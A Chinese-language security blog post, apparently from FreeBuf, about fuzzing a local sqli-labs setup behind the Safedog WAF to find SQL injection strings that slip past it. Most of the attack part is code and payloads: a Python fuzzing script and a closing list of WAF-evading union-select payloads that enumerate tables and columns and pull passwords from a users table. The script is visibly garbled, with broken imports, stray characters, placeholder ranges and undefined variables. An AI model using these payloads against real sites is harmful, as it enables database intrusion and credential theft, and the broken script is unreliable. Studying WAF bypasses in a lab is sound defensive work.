记一次Fuzz绕WAF实现SQL 注入
0×00简介
本文使用自己编写的Python脚本,实现绕过某WAF限制,实现SQL注入。先解释一下Fuzz概念,Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。
0×01SQL注入绕waf常用的方法
使用大小写绕过 例如:
使用注释符/**/ #绕过
使用/!**/绕过
根据数据库特性进行绕过,例如mysql数据,使用/*!5000 union select x,x,x/
更改user-agent
…….
0×02 使用/**/结合Fuzz绕过
先组建好sql注入本地测试平台,在服务器中安装某WAF狗。本文使用的中间件为apache和数据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。
访问搭建好的SQL注入平台.
先进行测试过程为:?id=1’ union select 1,2,3—+ 拦截 。
?id=1’ /union /select 1,2,3—+ 拦截 。
?id=1’ /union / 1,2,3—+ 不拦截
?id=1’ union 1,2,3—+不拦截
?id=1’ select 1,2,3—+不拦截
说明union和select在一起会拦截
使用/%0a/union/%0a/select/%0a/1,2,3—+ 拦截 PS:%0a是换行意思
那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:
From urllib import requestsimport timeurl='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'union='union'select='select'num='1,2,3'l={'%0a','%23'}ll={'S'}lll={'%0a','%23'}x='/*!'f='*/'def bypass():for xiaofei in a:6tfor xiaofeii in ll:for xiaofeiii inlll:for two in range(?,?): #?自己指定步长urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+xiaofeii+select+xiaofei+xiaofeii+xiaofeiii+numtry:result=requests.get(urls).textlen_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。if (result.find('safedog') == -1):#print('bypass url addreess:' + urls + '|' + str(len_r))print('bypass url addreess:'+urls+'|'+str(len_r))if len_r==715:fp = open('url.txt', 'l+')fp.write(urls + '\n')fp.close()except Exception as err:print('connecting error')time.sleep(0.1)if __name__ == '__main__':print('fuzz strat!')bypass()
0×03 测试结果
测试结果为:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/S%0a/union/x%0a/select/x%0a/ 1,2,3没有被拦截。
0×04 扩展
同样利用其他方法进行爆破,下面是payload。
?id=1’ /!20000order/by 3–+?id=-1’ union /!00000all select/ 1,2,3–+?id=-1’ union /!00000all select/ 1,database/**/(),3–+?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+
交易担保 FreeBuf+ FreeBuf+小程序:把安全装进口袋 Mini Program
精彩推荐
